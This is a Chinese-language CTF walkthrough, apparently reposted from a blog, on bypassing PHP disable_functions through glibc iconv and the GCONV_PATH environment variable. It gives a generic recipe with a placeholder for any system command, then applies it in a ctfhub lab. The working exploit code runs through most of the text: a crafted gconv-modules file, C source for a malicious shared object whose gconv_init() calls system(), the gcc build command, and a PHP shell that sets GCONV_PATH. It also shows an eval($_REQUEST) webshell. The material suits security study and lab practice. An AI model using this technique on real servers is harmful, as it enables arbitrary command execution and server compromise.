你需要知道的前置知識
php在執行iconv函式時,實際上是呼叫glibc中的iconv相關函式,其中一個很重要的函式叫做iconv_open(),
php的iconv函式的第一個引數是字符集的名字,這個引數也會傳遞到glibc的iconv_open函式的引數中,
下面我們來看一下iconv_open函式的執行程序:
- iconv_open函式首先會找到系統提供的gconv-modules檔案,這個檔案中包含了各個字符集的相關資訊存盤的路徑,每個字符集的相關資訊存盤在一個.so檔案中,即gconv-modules檔案提供了各個字符集的.so檔案所在位置,
- 然后再根據gconv-modules檔案的指示去鏈接引數對應的.so檔案,
- 之后會呼叫.so檔案中的gconv()與gonv_init()函式,
- 然后就是一些與本漏洞利用無關的步驟,
linux系統提供了一個環境變數:GCONV_PATH,該環境變數能夠使glibc使用用戶自定義的gconv-modules檔案,因此,如果指定了GCONV_PATH的值,iconv_open函式的執行程序會如下:
- iconv_open函式依照GCONV_PATH找到gconv-modules檔案,
- 根據gconv-modules檔案的指示找到引數對應的.so檔案,
- 呼叫.so檔案中的gconv()和gonv_init()函式,
- 一些其他步驟,
bypass程序
我們的利用方式就是首先在某一檔案夾(一般是/tmp)中上傳gconv-modules檔案,檔案中指定我們自定義的字符集檔案的.so,然后我們再在.so檔案中的gonv_init()函式中書寫命令執行函式,之后上傳php的shell,內容是使用php設定GCONV_PATH指向我們的gconv-modules檔案,然后使用iconv函式使我們的惡意代碼執行,
當我們使用瀏覽器訪問我們上傳的shell之后,服務器會做如下步驟:
- 設定GCONV_PATH指向我們的gconv-modules檔案,
- 執行php的iconv函式,本質上呼叫了glibc的iconv_open函式,
- iconv_open函式依照GCONV_PATH找到我們上傳gconv-modules檔案,
- 根據gconv-modules檔案的指示找到引數對應的.so檔案,
- 呼叫.so檔案中的gconv()和gonv_init()函式,當然,其中是我們想要服務器執行的系統命令,
實際操作
首先上傳gconv-modules檔案于/tmp檔案夾,其內容如下:
module 自定義字符集名字(大寫)// INTERNAL ../../../../../../../../tmp/自定義字符集名字(小寫) 2
module INTERNAL 自定義字符集名字(大寫)// ../../../../../../../../tmp/自定義字符集名字(小寫) 2
然后書寫利用的.so檔案內容:
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("希望執行的命令");
}
然后執行shell命令:
gcc 源代碼檔案名.c -o 自定義字符集名.so -shared -fPIC
上傳該檔案到/tmp,
書寫shell.php:
<?php
putenv("GCONV_PATH=/tmp/");
iconv("自定義字符集名", "UTF-8", "whatever");
?>
上傳到web目錄下然后瀏覽器訪問執行即可,
靶場實戰
靶場使用的是ctfhub的靶場,
目標是執行/readflag命令獲取flag值,
進入網站,網頁顯示當前腳本的源代碼:
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
使用蟻劍連接,發現無法進行命令執行,需要bypass disable_function,
書寫gconv-modules檔案,內容如下:
module HACK// INTERNAL ../../../../../../../../tmp/hack 2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2
上傳該檔案至/tmp檔案夾下,
再書寫hack.c檔案,內容如下:
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
}
執行shell命令:
gcc hack.c -o hack.so -shared -fPIC
將生成的.so檔案上傳到/tmp,
書寫shell.php內容如下:
<?php
putenv("GCONV_PATH=/tmp/");
iconv("hack", "UTF-8", "whatever");
?>
上傳到/var/www/html檔案夾下,
使用瀏覽器訪問,
此時/tmp/flag中已經存盤了flag值,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287873.html
標籤:其他
上一篇:php實作騰訊云視頻加密
